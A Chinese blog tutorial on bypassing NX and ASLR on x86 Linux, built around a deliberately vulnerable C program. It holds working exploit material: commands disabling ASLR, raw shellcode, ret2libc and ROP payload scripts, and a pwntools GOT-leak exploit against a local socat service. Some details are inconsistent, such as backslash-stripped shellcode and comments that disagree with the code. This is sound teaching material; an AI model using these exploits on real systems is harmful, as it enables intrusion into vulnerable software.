zoukankan      html  css  js  c++  java
  • Linux_x86下NX与ASLR绕过技术

    本文介绍Linux_x86下NX与ASLR绕过技术,并对GCC的Stack Canaries保护技术进行原理分析。

    本文使用存在漏洞代码如下:

    /* filename : sof.c */
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
     
    void vulnerable_function() 
    {
        char buf[128] = {0x00};
        read(STDIN_FILENO, buf, 256);
    }
      
    int main(int argc, char** argv) 
    {
        vulnerable_function();
        return 0;
    }

    一、关闭NX,ASLR,Stack Canaries

    root@ubuntu :~# echo 0 >/proc/sys/kernel/randomize_va_space
    ez@ubuntu :~/workdir/rop$ gcc -fno-stack-protector -z execstack -o sof sof.c

    接下来,1.找到溢出位置,2.构造shellcode

    1.找到溢出位置

    ez@ubuntu :~/workdir/rop$ ulimit -c 8096

    ez@ubuntu :~/workdir/rop$ ./sof
    Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
    Segmentation fault (core dumped)

    调试core文件:

    ez@ubuntu :~/workdir/rop$ gdb ./sof core 
    Core was generated by `./sof'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x37654136 in ?? ()
    (gdb)

    ez@ubuntu:~/workdir/rop/tools$ python pattern.py offset 0x37654136
    hex pattern decoded as: 6Ae7
    140

    通过调试发现,溢出发生在140偏移处。下面验证我们的结论:

    ez@ubuntu:~/workdir/rop$ gdb ./sof

    (gdb) r
    Starting program: /home/ez/workdir/rop/sof 
    CCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDDD

    Program received signal SIGSEGV, Segmentation fault.
    0x44444444 in ?? ()
    (gdb) x/s $esp-144
    0xbffff060: "CCCC", 'A' <repeats 136 times>, "DDDD 337426720361377277"
    (gdb) x/s $esp-4
    0xbffff0ec: "DDDD 337426720361377277"
    (gdb)

    画一张溢出时栈布局图,以便理解:

    2.构造shellcode

    我们将shellcode放到上图CCCC(0xbffff080)处,并将DDDD设置为shellcode地址:

    (注意:gdb会改变栈布局影响shellcode地址,CCCC地址应通过调试coredump获得)

    #!/usr/bin/env python
    from struct import pack 
     
    ret = 0xbffff080
    #mkdir "HACK" & chmod 777 & exit()
    shellcode = "x31xc0x50x68x48x41x43x4bxb0x27x89xe3x66x41xcdx80xb0x0fx66xb9xffx01xcdx80x31xc0x40xcdx80"
    ret_fmt = pack("<I", ret)
    payload = shellcode + 'A' * (140 - len(shellcode)) + ret_fmt
    fp = open("payload", "wb")
    fp.write(payload)
    fp.close()

     ez@ubuntu:~/workdir/rop$ ./sof < payload

    成功执行后,在当前路径下创建权限为777的"HACK"目录。

    二、Bypass NX

    ez@ubuntu:~/workdir/rop$ gcc -fno-stack-protector -o sof2 sof.c

    开启NX后,栈上shellcode变为不可执行。

    复用上述payload,发现利用失败:

    ez@ubuntu:~/workdir/rop$ ./sof2 < payload 
    Segmentation fault (core dumped)

    查看两种编译选项下Stack区别,发现开启NX保护的栈变得不可执行(rw-p):

    ez@ubuntu:~/workdir/rop$ ./sof & 
    [1] 2089 
    ez@ubuntu:~/workdir/rop$ ./sof2 & 
    [2] 2090 
    ez@ubuntu:~/workdir/rop$ cat /proc/2089/maps 
    bffdf000-c0000000 rwxp 00000000 00:00 0          [stack] 
    ez@ubuntu:~/workdir/rop$ cat /proc/2090/maps 
    bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]

    接下来分析绕过方法,并演示"puts("/bin/sh")"功能的shellcode

    首先计算puts符号及"/bin/sh"字符串在目标程序中的地址:

    (gdb) b main 
    Breakpoint 1 at 0x804847d 
    (gdb) r 
    Starting program: /home/ez/workdir/rop/sof2 
    Breakpoint 1, 0x0804847d in main () 
    (gdb) print puts 
    $1 = {} 0xb7e7e190 <_IO_puts> 
    (gdb) 
    (gdb) print __libc_start_main 
    $2 = {int (int (*)(int, char **, char **), int, char **, int (*)(int, char **, char **), void (*)(void), void (*)(void), void *)} 0xb7e31990 <__libc_start_main> 
    (gdb) 
    (gdb) find 0xb7e31990, +2000000, "/bin/sh" 
    0xb7f795a4 
    warning: Unable to access 16000 bytes of target memory at 0xb7fc392c, halting search. 
    1 pattern found. 
    (gdb) 
    (gdb) print exit 
    $1 = {} 0xb7e4b400 <__GI_exit> 
    (gdb)

    下面编写exp:

    #!/usr/bin/env python
    from struct import pack
    ret = pack("<I", 0xb7e4b400) #exit() addr
    putsaddr = pack("<I", 0xb7e7e190)
    binshaddr = pack("<I", 0xb7f795a4)
    payload =  'A'*140 + putsaddr + ret + binshaddr
    fp = open("payload_bypassdep", "wb")
    fp.write(payload)
    fp.close()

    解释一下payload的构造,首先使用'A' spay整个vulnerable_function函数的栈空间,接着覆盖返回地址为puts函数地址。栈上ret是puts返回时将执行的函数地址,这里选择exit函数。binshaddr是puts的第一个参数地址。

    函数调用时,首先在栈中压入参数,接着压入函数返回地址,因此这样构造Payload。

    ez@ubuntu:~/workdir/rop$ ./sof2 < payload_bypassdep 
    /bin/sh 
    ez@ubuntu:~/workdir/rop$

    成功执行。在shell中打印"/bin/sh"字符串。上面的方法,称为Ret2Libc技术。

    Bypass NX核心思想是,复用代码片段;栈上只提供函数参数,或地址。

    三、Bypass ASLR

    下面介绍比Ret2Libc更通用的技术,ROP。ROP更加通用的原因是,它复用的不仅是libc.so.6中的代码片段。

    首先开启系统ASLR功能:

    root@ubuntu :~# echo 2 >/proc/sys/kernel/randomize_va_space

    开启ASLR后,动态库在进程中加载位置变的随机化,注意下面libc.so.6库每次加载位置的变化:

    ez@ubuntu:~/workdir/rop$ ldd sof2 
    linux-gate.so.1 =>  (0xb77de000) 
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7618000) 
    /lib/ld-linux.so.2 (0xb77df000) 
    ez@ubuntu:~/workdir/rop$ ldd sof2 
    linux-gate.so.1 =>  (0xb77cf000) 
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7609000) 
    /lib/ld-linux.so.2 (0xb77d0000) 

    我们运行两个进程,验证一下:

    ez@ubuntu:~/workdir/rop$ ps -ef |grep sof2 |grep -v "grep" 
    ez        2547 10044  0 08:50 pts/0    00:00:00 ./sof2 
    ez        2548 10044  0 08:51 pts/0    00:00:00 ./sof2 
    ez@ubuntu:~/workdir/rop$ 
    ez@ubuntu:~/workdir/rop$ cat /proc/2547/maps 
    08048000-08049000 r-xp 00000000 08:01 567388     /home/ez/workdir/rop/sof2 
    08049000-0804a000 r--p 00000000 08:01 567388     /home/ez/workdir/rop/sof2 
    0804a000-0804b000 rw-p 00001000 08:01 567388     /home/ez/workdir/rop/sof2 
    b75db000-b75dc000 rw-p 00000000 00:00 0 
    b75dc000-b7785000 r-xp 00000000 08:01 656375     /lib/i386-linux-gnu/libc-2.19.so 
    b7785000-b7787000 r--p 001a9000 08:01 656375     /lib/i386-linux-gnu/libc-2.19.so 
    b7787000-b7788000 rw-p 001ab000 08:01 656375     /lib/i386-linux-gnu/libc-2.19.so 
    b7788000-b778b000 rw-p 00000000 00:00 0 
    b779f000-b77a1000 rw-p 00000000 00:00 0 
    b77a1000-b77a2000 r-xp 00000000 00:00 0          [vdso] 
    b77a2000-b77c2000 r-xp 00000000 08:01 656351     /lib/i386-linux-gnu/ld-2.19.so 
    b77c2000-b77c3000 r--p 0001f000 08:01 656351     /lib/i386-linux-gnu/ld-2.19.so 
    b77c3000-b77c4000 rw-p 00020000 08:01 656351     /lib/i386-linux-gnu/ld-2.19.so 
    bfc5a000-bfc7b000 rw-p 00000000 00:00 0          [stack] 

    ez@ubuntu:~/workdir/rop$ cat /proc/2548/maps 
    08048000-08049000 r-xp 00000000 08:01 567388     /home/ez/workdir/rop/sof2 
    08049000-0804a000 r--p 00000000 08:01 567388     /home/ez/workdir/rop/sof2 
    0804a000-0804b000 rw-p 00001000 08:01 567388     /home/ez/workdir/rop/sof2 
    b7604000-b7605000 rw-p 00000000 00:00 0 
    b7605000-b77ae000 r-xp 00000000 08:01 656375     /lib/i386-linux-gnu/libc-2.19.so 
    b77ae000-b77b0000 r--p 001a9000 08:01 656375     /lib/i386-linux-gnu/libc-2.19.so 
    b77b0000-b77b1000 rw-p 001ab000 08:01 656375     /lib/i386-linux-gnu/libc-2.19.so 
    b77b1000-b77b4000 rw-p 00000000 00:00 0 
    b77c8000-b77ca000 rw-p 00000000 00:00 0 
    b77ca000-b77cb000 r-xp 00000000 00:00 0          [vdso] 
    b77cb000-b77eb000 r-xp 00000000 08:01 656351     /lib/i386-linux-gnu/ld-2.19.so 
    b77eb000-b77ec000 r--p 0001f000 08:01 656351     /lib/i386-linux-gnu/ld-2.19.so 
    b77ec000-b77ed000 rw-p 00020000 08:01 656351     /lib/i386-linux-gnu/ld-2.19.so 
    bf8cb000-bf8ec000 rw-p 00000000 00:00 0          [stack] 

    会看到,栈、动态库的加载位置是变化的,而程序本身位置却无变化。所以可以将程序做为参照物,使用相对偏移计算库中元素位置。

    接下来分析一下ELF的PLT段,我们发现read函数和write函数是在程序本身和动态库中共有的,可以选做参照物:

    ez@ubuntu:~/workdir/rop$ objdump -d -j .plt sof2

    sof2:     file format elf32-i386


    Disassembly of section .plt:

    08048300 <read@plt-0x10>:
     8048300: ff 35 04 a0 04 08     pushl  0x804a004
     8048306: ff 25 08 a0 04 08     jmp    *0x804a008
     804830c: 00 00                 add    %al,(%eax)
     ...

    08048310 <read@plt>:
     8048310: ff 25 0c a0 04 08     jmp    *0x804a00c
     8048316: 68 00 00 00 00        push   $0x0
     804831b: e9 e0 ff ff ff        jmp    8048300 <_init+0x30>

    08048320 <__gmon_start__@plt>:
     8048320: ff 25 10 a0 04 08     jmp    *0x804a010
     8048326: 68 08 00 00 00        push   $0x8
     804832b: e9 d0 ff ff ff        jmp    8048300 <_init+0x30>

    08048330 <__libc_start_main@plt>:
     8048330: ff 25 14 a0 04 08     jmp    *0x804a014
     8048336: 68 10 00 00 00        push   $0x10
     804833b: e9 c0 ff ff ff        jmp    8048300 <_init+0x30>

    08048340 <write@plt>:
     8048340: ff 25 18 a0 04 08     jmp    *0x804a018
     8048346: 68 18 00 00 00        push   $0x18
     804834b: e9 b0 ff ff ff        jmp    8048300 <_init+0x30>

    利用这种方法,实现puts("/bin/sh")这样一个简单功能,因为puts符号和"/bin/sh"字符串都可以在glibc库中找到。

    首先构造这样一个payload:

    'A'*140 + plt_read + vulfun_addr + 2 + got_read + 4

    使用read@plt地址覆盖返回地址,read()的参数分别设置stdout,buffer,4bytes。read()执行完后再次执行漏洞代码所以栈上设置了vulnerable_function()函数地址。

    现在read@got里已经是库中read()函数的真实加载地址。分别通过偏移计算puts地址puts_addr,"/bin/sh"字串地址binsh_addr,exit地址exit_addr。

    构造payload再次输入:

    'A'*140  + puts_addr + exit_addr + binsh_addr

    演示一处相对偏移地址计算:

    (gdb) p read
    $1 = {<text variable, no debug info>} 0x800db6f0 <read>
    (gdb) p puts
    $2 = {<text variable, no debug info>} 0x80066190 <puts>

    (gdb) p/x 0x800db6f0-0x80066190
    $3 = 0x75560

    上面通过GDB演示2次交互过程,第一段payload执行完后,puts地址等当然可以在GDB中直接打印得到。通过pwntools编写的exp可以免去人的交互:

    #!/usr/bin/env python
    from pwn import *
      
    libc = ELF('libc.so.6')
    elf = ELF('sof2')
      
    p = remote('127.0.0.1', 10888)
      
    plt_read = elf.symbols['read'] #plt@read
    got_read = elf.got['read'] #got@read
    vulfun_addr = 0x80484fb  #vulnerable_function地址
    '''
    第一次执行后,got中read计算得到真实加载地址,p32(2) +p32(got_read) + p32(4)为read参数;
    read执行完后接着再执行一次vulnerable_function函数
    '''
    payload1 = 'A'*140 + p32(plt_read) + p32(vulfun_addr) + p32(1) +p32(got_read) + p32(4)
      
    print "
    ###sending payload1 ...###"
    p.send(payload1)
      
    print "
    ###receving read() addr...###"
    read_addr = u32(p.recv(4)) #got@read真实地址
    print "
    ###calculating puts() addr and "/bin/sh" addr...###"
    # 计算puts地址
    puts_addr = read_addr - (libc.symbols['read'] - libc.symbols['puts'])
    # 计算"/bin/sh"字符串地址
    binsh_addr = read_addr - (libc.symbols['read'] - next(libc.search('/bin/sh')))
      
    payload2 = 'A'*140  + p32(puts_addr) + p32(vulfun_addr) + p32(binsh_addr)
      
    print "
    ###sending payload2 ...###"
    p.send(payload2)

    运行sof2,绑定到10888端口:

    socat TCP4-LISTEN:10888,fork EXEC:./sof2

    执行exp:

    ez@ubuntu:~/workdir/rop$ python bypass_aslr.py 
    [+] Opening connection to 127.0.0.1 on port 10888: Done 
    ###sending payload1 ...### 
    ###receving write() addr...### 
    ###calculating puts() addr and "/bin/sh" addr...### 
    ###sending payload2 ...### 
    [*] /bin/sh 
    [*] Closed connection to 127.0.0.1 port 10888

  • 相关阅读:
    Leetcode Reverse Words in a String
    topcoder SRM 619 DIV2 GoodCompanyDivTwo
    topcoder SRM 618 DIV2 MovingRooksDiv2
    topcoder SRM 618 DIV2 WritingWords
    topcoder SRM 618 DIV2 LongWordsDiv2
    Zepto Code Rush 2014 A. Feed with Candy
    Zepto Code Rush 2014 B
    Codeforces Round #245 (Div. 2) B
    Codeforces Round #245 (Div. 2) A
    Codeforces Round #247 (Div. 2) B
  • 原文地址:https://www.cnblogs.com/gm-201705/p/9901577.html
Copyright © 2011-2022 走看看